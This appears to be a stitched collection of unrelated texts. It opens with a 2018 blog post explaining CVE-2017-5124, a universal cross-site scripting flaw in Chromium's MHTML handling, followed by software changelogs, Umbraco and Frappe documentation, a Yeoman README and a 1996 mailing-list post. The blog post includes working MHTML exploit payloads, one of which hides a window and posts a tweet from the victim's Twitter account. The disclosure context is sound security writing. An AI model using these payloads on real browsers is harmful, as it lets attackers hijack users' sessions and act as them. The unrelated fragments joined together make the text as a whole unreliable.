title: "Chromium Based Browsers are safe or not ? (English version)"
date: 2018-01-01 00:00:00.000000000 +07:00
type: post
published: true
status: publish
categories:
- Tutorials
tags:
- uxss
- chromium
excerpt: "n-day vulnerability in Chromium Based Browsers"
---
Original post: [https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html](https://develbranch.com/tutorials/chromium-based-browsers-are-safe-or-not.html)

Recently, the Chromium open source browser (version 62 and below) has a very serious vulnerability. **UXSS with MHTML**, CVE-2017-5124. The exploit code has also been published: https://github.com/Bo0oM/CVE-2017-5124.

## What is Universal Cross-site Scripting (UXSS)?
Cross-site scripting (XSS) (https://www.acunetix.com/websitesecurity/cross-site-scripting/) refers to client-side code injection attack wherein an attacker can execute malicious scripts (also commonly referred to as a malicious payload) into a legitimate website or web application. XSS is amongst the most rampant of web application vulnerabilities and occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

By leveraging XSS, an attacker does not target a victim directly. Instead, an attacker would exploit a vulnerability within a website or web application that the victim would visit, essentially using the vulnerable website as a vehicle to deliver a malicious script to the victim’s browser.

While XSS can be taken advantage of within VBScript, ActiveX and Flash (although now considered legacy or even obsolete), unquestionably, the most widely abused is JavaScript – primarily because JavaScript is fundamental to most browsing experiences.

Hackers use UXSS to access every open session of the browser: hackers can read the cookies or sessions of opened tabs.

# UXSS with MHTML (CVE-2017-5124)
This is a vulnerability in the Chromium when processing [MHTML (HTML)](https://en.wikipedia.org/wiki/MHTML).

MHTML is a text document with a title, content-type (multipart / related), and a content separator (boundary), encoding (can be base64).

In the description of html, we can use `Content-location` to determine the source of the data. For example, we write Content-location: https://example.com/abc, which will be loaded from https://example.com/abc and displayed.

For security reasons, all javascript related data is forbidden and can not be executed from another location. This rule is checked everywhere, except for [XSLT](https://en.wikipedia.org/wiki/XSLT).

```
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
CVE-2017-5124

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://google.com"></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://google.com

<script>alert('Location origin: '+location.origin)</script>
------MultipartBoundary----
```

The hacker can run alert () with the https://google.com domain and display a messagebox indicating the location corresponds to the script's running script.

## Some scenarios using UXSS with MHTML (CVE-2017-5124)
We will approach some "real" scenarios:
 * Hack email: Bad guys can read emails, send mail with the user's email address without their knowledge. Bank accounts are usually associated with an email address. If the email is compromised, the hacker will be able to read the account recovery codes or notifications from the bank, send fake emails or use this email to attack.
 * Hackers can read and post posts under user accounts. I will use my Twitter account for testing.

The exploit code will tweet a message with the user's Twitter account.

```
MIME-Version: 1.0
Content-Type: multipart/related;
	type="text/html";
	boundary="----MultipartBoundary--"
Become IDOL

------MultipartBoundary--
Content-Type: application/xml;

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE catalog [
<!ATTLIST xsl:stylesheet
id ID #REQUIRED>
]>
<xsl:stylesheet id="stylesheet" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="*">
<html><iframe style="display:none" src="https://twitter.com" ></iframe></html>
</xsl:template>
</xsl:stylesheet>

------MultipartBoundary--
Content-Type: text/html
Content-Location: https://twitter.com

<script>

function tweet(text)
{
    var win = window.open("/", '_blank', 'toolbar=no,status=no,menubar=no,scrollbars=no,resizable=no,left=10000, top=10000, width=2, height=1, visible=none', '');
	win.onload = function(){
	        win.boxTextToTweet = win.document.getElementById("tweet-box-home-timeline");
			win.btnPostTweet = win.document.getElementsByClassName("tweet-action EdgeButton EdgeButton--primary js-tweet-btn")[0];
			win.boxTextToTweet.focus();
			win.boxTextToTweet.innerHTML = text;
			setTimeout(function(){ win.btnPostTweet.click(); }, 500);
			setTimeout(function(){ win.close(); }, 1500);
	}
}

tweet('I <3 fosec. @quangnh89 is my idol.');

</script>
------MultipartBoundary----
```

I have attacked CocCoc (66) and SamSung Internet browser.

Demo with CocCoc 66:

[![UXSS with MHTML (CVE-2017-5124) + CocCoc browser 66.4.134](https://img.youtube.com/vi/oBZe2-dtfGI/0.jpg)](https://www.youtube.com/watch?v=oBZe2-dtfGI)

## The browsers are affected by CVE-2017-5124
All browsers that use the Chromium (Chrome < 62) are affected. CocCoc version 66.4.134, a popular browser in Vietnam, which uses Chromium 60.4.3112.134 is vulnerable. Some browsers on SamSung phones made by the manufacturer itself can be exploited. Personally, for security purposes, we can temporarily stop using the browser until the problem is solved.

## Timeline
_Coc Coc Browser_
 * 05/12/2017: contacted CocCoc Company.
 * 06/12/2017: Coc Coc Company confirmed.
Currently, the latest version of CocCoc has been fixed.

_SamSung Internet Browser <IP_ADDRESS>_
 * 03/12/2017: Send email to SamSung Company
 * 08/12/2017: SamSung thinks that this issue belongs to Google Chrome.

According to my tests, the browser SamSung Internet Browser <IP_ADDRESS> suffered a serious vulnerability. If your phone is not up to date, wait for a patch. Demo with SamSung internet: https://www.youtube.com/watch?v=nLPuplN5HmM

[![UXSS with MHTML (CVE-2017-5124) + SamSung Internet Browser <IP_ADDRESS>](https://img.youtube.com/vi/nLPuplN5HmM/0.jpg)](https://www.youtube.com/watch?v=nLPuplN5HmM)


text:
## v3.0.0

### 12/19/2017

- for styling changes, only using CSS variables now per [suggestion from @masonlouchart](https://github.com/googlecreativelab/obvi/issues/1).  This is a breaking change for those using HTML attributes like button-diameter, hence the major version jump.

## v2.0.0

### 11/14/2017

- support now for Safari (iOS11 and macOS); note that support for webRTC on WebKit on iOS11 still hasn't arrived https://stackoverflow.com/questions/45055329/does-webkit-in-ios-11-beta-support-webrtc
- removed recordRTC dependency
- state property is now readOnly
- performance improvements, code refactoring
- removed "onSpeechRecognitionUnsupported" event, just setting a new "supported" boolean property on the element
- added Travis CI support
- removed paper-button dependency, using only paper-ripple behavior

## v1.1.1

### 11/8/2017

Initial Release

repository: elidata/speaknsee

repo_name: elidata/speaknsee


text:
## Unreleased

#### Changed

- [#1073](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1073) Improve performance of view default function lookup

## v<IP_ADDRESS>

#### Fixed

- [#1052](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1052) Ignore casing of VALUES clause when inserting records using SQL
- [#1053](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1053) Fix insertion of records to non-default schema table using raw SQL
- [#1059](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1059) Fix enums defined on string columns

#### Changed

- [#1057](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1057) Set precision 6 by default for timestamps.

## v<IP_ADDRESS>

[Full changelog](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/compare/v<IP_ADDRESS>...v<IP_ADDRESS>)

#### Fixed

- [#1049](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1049) Fix for inserting records into non-dbo schema table.

## v<IP_ADDRESS>

[Full changelog](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/compare/v<IP_ADDRESS>...v<IP_ADDRESS>)

#### Fixed

- [#1029](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1029) Handle views defined in other databases.
- [#1033](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1033) Support proc default values in ruby 3.2.
- [#1020](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1020) Support using adapter as a stand-alone gem.
- [#1039](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1039) Fix hook method that allows custom connection configuration.

#### Changed

- [#1021](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1021) Freeze the SQL sent to instrumentation.

## v<IP_ADDRESS>

[Full changelog](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/compare/v<IP_ADDRESS>.rc1...v<IP_ADDRESS>)

#### Fixed

- [#1002](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1002) Fix support for index types

#### Changed

- [#1004](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/1004) Dump the precision for datetime columns following the new defaults.

## v<IP_ADDRESS>.rc1

[Full changelog](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/compare/6-1-stable...v<IP_ADDRESS>.rc1)

#### Changed

- [#968](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/968) Define adapter type maps statically
- [#983](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/983) Optimize remove_columns to use a single SQL statement
- [#984](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/984) Better handle SQL queries with invalid encoding
- [#988](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/988) Raise `ActiveRecord::StatementInvalid` when `columns` is called with a non-existing table (***breaking change***)

#### Added

- [#972](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/972) Support `ActiveRecord::QueryLogs`
- [#981](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/981) Support `find_by` an encrypted attribute
- [#985](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/pull/985) Support string returning clause for `ActiveRecord#insert_all`

Please check [6-1-stable](https://github.com/rails-sqlserver/activerecord-sqlserver-adapter/blob/6-1-stable/CHANGELOG.md) for previous changes.


text:
# Rendering Forms Scripts

Forms output some JavaScript which is by default rendered right below the markup.

In many cases, you might prefer rendering your scripts at the bottom of the page. For example, before the closing `</body>` tag. This generally improves site performance.

In order to render your scripts where you want, you need to add the following snippet to your template. Make sure you add it below your scripts, right before the closing `</body>` tag:

```csharp
@using Umbraco.Forms.Web.Extensions;

@if (TempData.Get<Guid[]>("UmbracoForms") is Guid[] formIds)
{
    foreach (var formId in formIds)
    {
        @await Component.InvokeAsync("RenderFormScripts", new { formId, theme = "default" })
    }

    TempData.Remove("UmbracoForms");
}
```

If you prefer to use a tag helper, that's an option too.

Firstly, in your `_ViewImports.cshtml` file, ensure you have a reference to the Umbraco Forms tag helpers with:

```cshtml
@addTagHelper *, Umbraco.Forms.Web
```

Then instead of reading from `TempData` and invoking the view component directly, you can use:

```cshtml
<umb-forms-render-scripts theme="default" />
```

## Enabling `ExcludeScripts`

If you do not want to render the associated scripts with a Form, you need to explicitly say so. You need to make sure `ExcludeScripts` is checked/enabled, whether you are inserting your Form using a macro or adding it directly in your template.

To enable `ExcludeScripts`:

*   Using the **Insert Form with Theme** macro:

    ![Exclude scripts](../../../10/umbraco-forms/developer/images/exclude-scripts-v9.png)
*   While inserting Forms **directly** in your template:

    ```csharp
    @await Umbraco.RenderMacroAsync("renderUmbracoForm", new {FormGuid="6c3f053c-1774-43fa-ad95-710a01d9cd12", FormTheme="bootstrap3-horizontal", ExcludeScripts="1"})
    ```

{% hint style="info" %}
`ExcludeScripts = "1"` prevents the associated scripts from being rendered. Any other value, an empty value, or if the parameter is excluded, will render the scripts on the Form.
{% endhint %}

repository: umbraco/UmbracoDocs

repo_name: umbraco/UmbracoDocs


text:
# generator-easy-wc [![NPM version][npm-image]][npm-url] [![Build Status][travis-image]][travis-url] [![Dependency Status][daviddm-image]][daviddm-url]
> File structure and Yarn scripting for developing, testing, documenting, and deploying a web component.

## Installation

First, install [Yeoman](http://yeoman.io) and `generator-easy-wc` using [yarn](https://yarnpkg.com/en/) (we assume you have pre-installed [node.js](https://nodejs.org/)).

```bash
yarn global add yo
yarn global add generator-easy-wc
```

## Initialization
Then generate your new project. Creating the git project before generating allows `husky` to set up your hooks appropriately. Once you've committed the generated code to master, I'd suggest branching immediately for appropriate use of a PR after you've established the functionality of your element:

```bash
mkdir element-name-here
cd element-name-here
git init
yo easy-wc
# ... follow the prompts ...
git add .
git commit -am 'Generated Element'
git checkout -b element-name-here
```

## Prompts
```bash
    _-----_     ╭──────────────────────────╮
   |       |    │      Welcome to the      │
   |--(o)--|    │      super-excellent     │
  `---------´   │     generator-easy-wc    │
   ( _´U`_ )    │        generator!        │
   /___A___\   /╰──────────────────────────╯
    |  ~  |
  __'.___.'__
´   `  |° ´ Y `

? What is your name? Your Name Here
? What is your GitHub username or organization? org or username here
? What would you like this element to be called? element-name-here
? What name would you like for the class that describes this element? ElementClassNameHere
? What should the element's package name be? (this will be combined with the user or org name a la: `@org/package-name`) element-name-here
? What does this element do? Something awesome!
```

## Getting To Know Yeoman

 * Yeoman has a heart of gold.
 * Yeoman is a person with feelings and opinions, but is very easy to work with.
 * Yeoman can be too opinionated at times but is easily convinced not to be.
 * Feel free to [learn more about Yeoman](http://yeoman.io/).

## License

Apache-2.0 © [Westbrook Johnson](github.com/westbrook)

[npm-image]: https://badge.fury.io/js/generator-easy-wc.svg
[npm-url]: https://npmjs.org/package/generator-easy-wc
[travis-image]: https://travis-ci.org/Westbrook/generator-easy-wc.svg?branch=master
[travis-url]: https://travis-ci.org/Westbrook/generator-easy-wc
[daviddm-image]: https://david-dm.org/Westbrook/generator-easy-wc.svg?theme=shields.io
[daviddm-url]: https://david-dm.org/Westbrook/generator-easy-wc

repository: edwinthinks/generator-easy-wc

repo_name: edwinthinks/generator-easy-wc


text:
# Starting the Bench

Now we can login and check if everything works.

To start the development server, run `bench start`

	$ bench start
	13:58:51 web.1        | started with pid 22135
	13:58:51 worker.1     | started with pid 22136
	13:58:51 workerbeat.1 | started with pid 22137
	13:58:52 web.1        |  * Running on http://<IP_ADDRESS>:8000/
	13:58:52 web.1        |  * Restarting with reloader
	13:58:52 workerbeat.1 | [2014-09-17 13:58:52,343: INFO/MainProcess] beat: Starting...

You can now open your browser and go to `http://localhost:8000`. You should see this login page if all goes well:

Now login with :

Login ID: **Administrator**

Password : **Use the password that was set during site installation**

When you login, you should see the "Desk" home page

As you can see, the Frappe basic system comes with several pre-loaded utilities like To Do, File Manager etc. These apps can integrated in your app workflow as we progress.

{next}


text:
---
layout: default
---

# 1996-05-11 - Re<EMAIL_ADDRESS>down

## Header Data

From: Rich Burroughs<EMAIL_ADDRESS>To<EMAIL_ADDRESS>Message Hash: 3abcf1e1f022e36128ca34da84e4c7ec7c41c62081b8924c3d31d041f11eb266

Message ID<EMAIL_ADDRESS>Reply To: _N/A_

UTC Datetime: 1996-05-11 03:36:37 UTC

Raw Date: Sat, 11 May 1996 11:36:37 +0800

## Raw message

```
{% raw  %}From: Rich Burroughs<EMAIL_ADDRESS>Date: Sat, 11 May 1996 11:36:37 +0800
To<EMAIL_ADDRESS>Subject: Re<EMAIL_ADDRESS>down
Message-ID<EMAIL_ADDRESS>MIME-Version: 1.0
Content-Type: text/plain

At 07:15 PM 5/9/96 -0700<EMAIL_ADDRESS>(Dave Harman) wrote:
[snip]
>Oh, in what way was Elrom racist? (he's not anti-asian or anti-semitic,
>for instance)
[snip]

Chris Owen has written an essay about Hubbard's support of the racist South
African govt.

http://www.demon.co.uk/castle/audit/aprtheid.html

He quotes Hubbard as writing:

"Just as individuals can be seen by observing nations, so we see the African
tribesman, with his complete contempt for truth and his emphasis on
brutality and savagery for others but not himself, is a no-civilization."

Rich

______________________________________________________________________
Rich Burroughs<EMAIL_ADDRESS>http://www.teleport.com/~richieb
See my Blue Ribbon Page at http://www.teleport.com/~richieb/blueribbon
New EF zine "cause for alarm" - http://www.teleport.com/~richieb/cause

{% endraw %}
```

## Thread

+ Return to [May 1996](/archive/1996/05)

+ Return to<EMAIL_ADDRESS>(Dave Harman)](/authors/qut_at_netcom_com_dave_harman_)"
+ Return to "[Rich Burroughs <richieb@teleport.com>](/authors/rich_burroughs_richieb_at_teleport_com_)"

+ 1996-05-11 (Sat, 11 May 1996 11:36:37 +0800) - Re<EMAIL_ADDRESS>down - _Rich Burroughs<EMAIL_ADDRESS>  + 1996-05-11 (Sat, 11 May 1996 17:51:35 +0800) - [Re<EMAIL_ADDRESS>down](/archive/1996/05/0547e78f65b90afca3984a2c4ed778db34244386a2ad8bf73aeb617519b84ef3) -<EMAIL_ADDRESS>(Dave Harman)_